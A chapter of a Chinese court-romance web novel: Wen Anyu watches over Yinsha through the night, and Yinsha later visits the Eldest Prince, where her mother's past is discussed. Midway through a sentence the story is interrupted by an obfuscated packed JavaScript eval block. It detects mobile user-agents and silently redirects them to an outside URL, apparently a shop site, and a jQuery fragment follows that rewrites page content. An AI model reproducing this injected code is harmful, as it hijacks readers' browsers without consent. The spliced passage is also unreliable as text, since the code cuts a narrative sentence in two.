他回过头来对上银沙似笑非笑的表情,突然有些心头发紧,她这表情好似知道自己在想什么。
虽然自己一开始确实是打着偷偷看她睡颜的打算,但是想法再胆大包天,看到她清醒着的时候还是忍不住打怵。
夜风从窗缝里钻进来,带着一丝深秋的微凉,银沙下意识地缩了缩身子,眉头微蹙:“把窗户关紧。”
原来是温安渝刚刚翻窗进来的时候,窗户没关上。他立刻起身,动作快却轻柔地合上那扇窗户。
然后又回到床边解下自己身上带着体温的大氅,轻轻搭在她的被面上,指尖不小心碰到她的手腕,他像是被烫到一般,立刻收回手,低声道:“别着凉了。”
温安渝脸颊微微发烫,心脏砰砰直跳,看着银沙乖巧地躺在床上,他既紧张又窃喜,细心地将被角掖好,遮住她露在外面的手腕,眼神里满是珍视:“还有什么事情需要我去做吗?”
“跟我讲讲你军营里遇到的人和事吧,我们好像很久没有好好说说话了。”银沙毫不心虚地说着,其实他们俩人严格来说并没有“好好说过话”过。一直以来不是银沙直接指挥他做什么事,就是他说什么银沙只愿意回应白眼。
温安渝被银沙的温柔汤直接灌迷糊了,他欣喜地搬来一把矮椅,就放在床侧,离她极近,近到能看清她长长的睫毛在眼下投下的浅浅阴影,能听见她均匀轻柔的呼吸声。
“我都说给你听……”
坐下时身姿微微前倾,他的目光始终落在银沙的脸上,却又时不时躲闪,不敢与她对视,眼神里的情意直白又卑微,藏着说不尽的珍视、渴望与胆怯。
温安渝小声地跟他说着军营里的事情,其实也没有什么紧要的事情,无外乎是结识的哪些人和训练内容,他们现在都是新兵,日常生活都枯燥无味。但是他似乎总能从中找到有趣的点说给银沙听。
月光洒在他的侧脸上,柔和了他平日里的过于俊美的五官,也映出他眼底的不安。
他多希望能一直这样守着她,多希望能拥有她的偏爱,可他又不敢奢求,甚至不敢直白地表达关心,怕一旦说得太多,就连这样陪在她身边的资格,都会被剥夺。他怕她讨厌他,怕她觉得他纠缠,只能这样小心翼翼地陪着,把所有的渴望与欢喜,都藏在眼底,藏在这寂静的深夜里。
此时此刻的温安渝就像是一个疯子一样,心里装着的只剩下对银沙的痴恋,或许这就是温家人的习性,只是温琏将这种变态的执着记挂在家庭传承上,而他的儿子则把这种偏执放到了爱情上。
银沙冷眼旁观着这不正常的爱恋,她心中的恶意被挑起,她并不否认自己对阿兰若动了心,但是他的爱情注定是无望的,心动只是暂时的,她已经及时切断了所有的情感,
娓娓叙述的声音好似带着催眠的力量,让床上的人慢慢的、慢慢地合上了眼睛,她终于睡着了。
而守在床边的人却没有走,他终究是食言了,那句“等你睡了我就走”,在看到她安静睡颜时,便彻底作废。
他只想就这样守着她,什么都不做,只守着这片刻的安宁,守着这来之不易的亲近,哪怕这份亲近,他只是安静地坐在一起。坐得离她近一些。
温安渝觉得自己很像小时候捡到的一条小狗,那小狗眼睛还没睁的时候被遗弃在路边。被他捡到时,一点点大的团在他手心里嘤嘤叫着,贪婪地汲取着他手心里的温暖,既胆怯又渴望,就像是此刻坐在床边的他。
怕失去,又忍不住靠近,只盼着她能多对自己温柔一点,哪怕只是不讨厌自己,就足够了。
窗外的风把树叶吹得哗哗作响,夜色渐深,倦意悄悄袭来,可温安渝却毫无睡意。
他偶尔会伸出手,指尖在她的发梢上方悬很久,反复犹豫后,才敢轻轻碰一下,又立刻收回,像是触碰易碎的珍宝,眼底满是欢喜,又藏着深深的胆怯。
如果今晚的时间能够永远停驻就好了,他不敢奢求太多,不敢渴望她能回应自己的心意,只愿能这样陪着她,守着她,哪怕她只是安静地睡着,哪怕她永远都不会回应自己的目光,只要她不讨厌自己,就好。
蜡泪堆成了小山,窗外也渐渐亮起鱼肚白。温安渝才站起身,他该离开了。最后不舍地看了一眼床上的人,希望下一次见面,他能说些好消息给银沙听。
他出府的时候正好一头遇到了铁玄心,她正好过来看望银沙,老太太的眼睛都快瞪出眼眶了:“你怎么在这里?”
温安渝先是朝铁玄心行了一礼才开口:“有些事情要找姑娘。”他说得有些含糊,说完之后行了一礼不等铁玄心回答就立刻离开了。
他说得含糊,但是铁玄心是什么人?她哪进而会被这小子糊弄过去?但是这家伙走起路来跟飞一样,一眨眼就已经出了府。
铁玄心气得叹了一口气,才扭头去银沙房间。
到了房间才发现银沙还没有醒,摸了摸银沙的额头,还好没有发烧,她这才放下心来。不过也因为她这举动,银沙也睁开了眼睛。
“师父……”银沙撑起身子坐了起来,她这一晚睡得竟然还不错,这会儿感觉不错。
“行,那就赶紧起来用早膳。”铁玄心摸了摸银沙的头,去帮她张罗官服,银沙等会儿还要去奉仙司上职。
一天工作倒是没有什么特别,银沙下了职后没有立刻回家而是直接去了大皇子府。
才刚到门口就遇到白林。
白林一脸惊喜地迎上前来:“银沙大人……”他人还没到银沙跟前,腰已经折了下来行完了礼。
银沙:“……”
看着白林弯得如此夸张的腰,一时间不知道该评价白林为人热情还是过于礼貌,她不过一个五品小官,实在没必要如此隆重的礼待。
虽然心里这么想着,但是还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333985|190799||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑容满面地迎上前去还礼:“白林大人太过客气了。”
“昨天真是失礼,没有招待好您……”一说起昨天的事情,白林就十分愧疚:“要不我没留神,银沙大人也没必要受苦……”
“白大人可千万莫要自责,都是我不胜酒力,昨晚这一遭还扰了大家的雅兴,我实在是羞愧难当。”银沙说得真情实意,白林听得感动不已:“发生这样的事情,谁都不想的,银沙大人莫要多想……”
就这样两个人相互说着恭维的话进到大皇子府。
来到内院,黑豹正被大皇子牵着在院子里。
银沙一进门,那黑毛畜生立马就奔了过来,纵是大皇子使劲拉着牵绳都没有拉住。
大皇子哈哈大笑道:“到底是通人性的灵兽,刚刚还没精打采这会儿看到主人来就精神了。”
银沙第一时间行礼:“见过大殿下,昨晚银沙失礼了,还望大殿下莫怪。”
大皇子背着手看着那黑豹说道:“我上次看到这么通灵性的畜生还是在云大人的府邸中。那是一只雪豹,据说是有人专程从锦西送回来的。说起来,送礼的人还与你有些渊源。”
银沙看大皇子瞧着心情不错,这架势应是在与她闲聊:“愿闻其详。”
“那人就是海镜之前的那位奉仙司博士——浸心月。”大皇子轻描淡写地丢下一个让银沙完全没有料想到的名字。
银沙不是第一次从别人嘴里听到母亲的名字了,她垂下眼睛,压下心底的波动,轻声说道:“原来是她……”
“我可听说了,当年那个浸心月为了云颂卿养这灵兽可谓大费周章,人还在锦西修通天塔呢,就巴巴地寻摸了一只雪豹幼崽送回京都。命手底下的人日日到云府中驯兽。自己中途还抽空回来了一趟,亲自确诊那雪豹的状态,上心得很!我看她怕不是早就算到了云大人日后有起势,上赶着献殷勤呢……”
忽然有人开口说话,银沙才注意到原来院子里还有人,刚刚那人一直跟在大皇子身后的石桌上摆弄酒器,她还以为是侍从,现在看这说话的架势倒不像是个侍从,倒像是谁家的公子哥儿。
这人倒了一杯酒端过来递给大皇子,但是大皇子转身啐了一口骂了一句什么,银沙没听得清楚。
那人撇撇嘴,并不在意,反倒自己把那杯酒灌了进去又回到石桌前继续喝酒。
白林见状低声与银沙解释道:“云颂卿云大人是个刚正不阿的性子,眼睛里最是容不得沙子,是出了名的清官。”
云颂卿、云颂卿……这个名字从昨晚开始密集出现,必定是代表着什么,银沙笑眯眯地问:“我还从未与这位大人接触过,想来是位不错的前辈。”
白林轻笑一声:“这位云大人严厉又古板,可不是那么好接触的。”
大皇子听到白林这话也跟着笑起来:“云大人确实古板得很,要说好接触,远不如浸心月。”